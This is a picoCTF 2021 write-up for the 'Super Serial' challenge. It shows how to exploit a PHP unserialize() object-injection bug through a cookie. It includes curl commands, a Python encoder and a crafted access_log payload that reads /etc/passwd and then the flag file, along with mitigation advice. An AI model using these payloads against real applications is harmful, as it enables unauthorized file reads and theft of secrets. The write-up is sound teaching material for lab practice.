Super Serial picoCTF 2021 Solution

Published: April 2, 2026

Description

Try to recover the flag from this PHP web application. Start with /robots.txt.

Remote

Probe common PHP paths and read /robots.txt for hints.

bash
curl http://<server>/robots.txt
bash
curl -I http://<server>/index.php
bash
curl -I http://<server>/cookie.php
bash
curl -I http://<server>/admin.php
  1. Step 1Discover source files via .phps extension
    robots.txt typically lists Disallow: entries pointing at sensitive paths. Here it hints at .phps source-disclosure files. Request index.phps to see the source of index.php.
    bash
    curl http://<server>/robots.txt
    bash
    curl http://<server>/index.phps
    bash
    curl http://<server>/authentication.phps
    Learn more

    The .phps extension is an Apache configuration for serving PHP source code with syntax highlighting instead of executing it. When misconfigured, it exposes the entire source code of PHP applications. This is a common misconfiguration that attackers check early in web application recon. See web bug patterns for similar source-disclosure tricks.

  2. Step 2Identify the unsafe unserialize() call
    authentication.phps shows unserialize($_COOKIE['login']). The same file (or index.phps) defines an access_log class whose __toString() reads the file at $this->log_file. That pairing is a PHP object-injection gadget.
    Learn more

    PHP object injection occurs when user-controlled data is passed to unserialize(). The serialized format encodes the class name and properties of objects, so an attacker can craft a string that instantiates any class defined in the application with arbitrary property values.

    What triggers __toString(). The magic method runs whenever PHP needs the object as a string:

    • echo $obj;
    • String concatenation: "hello " . $obj
    • Double-quoted interpolation: "value: $obj"
    • Implicit cast in strlen(), strpos(), comparison with a string, etc.

    Other useful magic methods to grep for: __destruct() (fires when the object is garbage-collected), __wakeup() (fires immediately on unserialize), __call()/__get()/__set() (property access).

  3. Step 3Craft the serialized access_log payload
    PHP serialization spells out byte counts: O:<len>:"<class>":<n>:{<props>}. Strings: s:<len>:"<value>";. For class access_log (9 chars) with one property log_file pointing at ../flag (7 chars): O:9:"access_log":1:{s:8:"log_file";s:7:"../flag";}.
    bash
    # Verify the path first with a known file:
    python
    python3 <<'PY'
    import base64, urllib.parse
    payload = b'O:9:"access_log":1:{s:8:"log_file";s:11:"/etc/passwd";}'
    print(urllib.parse.quote(base64.b64encode(payload)))
    PY
    bash
    curl http://<server>/authentication.php --cookie "login=<encoded>"
    bash
    # Then swap to the flag once the read primitive is confirmed:
    python
    python3 <<'PY'
    import base64, urllib.parse
    payload = b'O:9:"access_log":1:{s:8:"log_file";s:7:"../flag";}'
    print(urllib.parse.quote(base64.b64encode(payload)))
    PY
    Learn more

    Byte format walkthrough. Decoding the payload field by field:

    O:9:"access_log":1:{s:8:"log_file";s:7:"../flag";}
    ^ ^ ^^^^^^^^^^^^^ ^  ^ ^ ^^^^^^^^^^  ^^^^^^^^^^
    | | |             |  | | |           value of property (length 7)
    | | |             |  | | property name (length 8)
    | | |             |  | string property type
    | | |             |  count of property index entries (1 prop)
    | | |             number of properties (1)
    | | class name (length 9)
    | Object marker
    Type tag (Object)

    Why probe a known file first. If ../flag doesn't resolve, the serialization parsed but the path was wrong, and you'll see no useful output and won't know which step failed. Probe with /etc/passwd (always present, distinctive output starting with root:x:0:0:) to confirm the read primitive works, then switch to the flag path. Other useful candidates: /proc/self/cwd/flag, /var/www/html/flag.txt, the application's config file.

    Mitigation. Never call unserialize() on user-supplied data. Use JSON for data exchange. If serialization is necessary, sign the blob with HMAC and reject unsigned input.

Flag

picoCTF{...}

PHP unserialize() on cookie data is a critical vulnerability: __toString runs when the object is used as a string, which the gadget class abuses for arbitrary file reads.

Want more picoCTF 2021 writeups?

Useful tools for Web Exploitation

Related reading

What to try next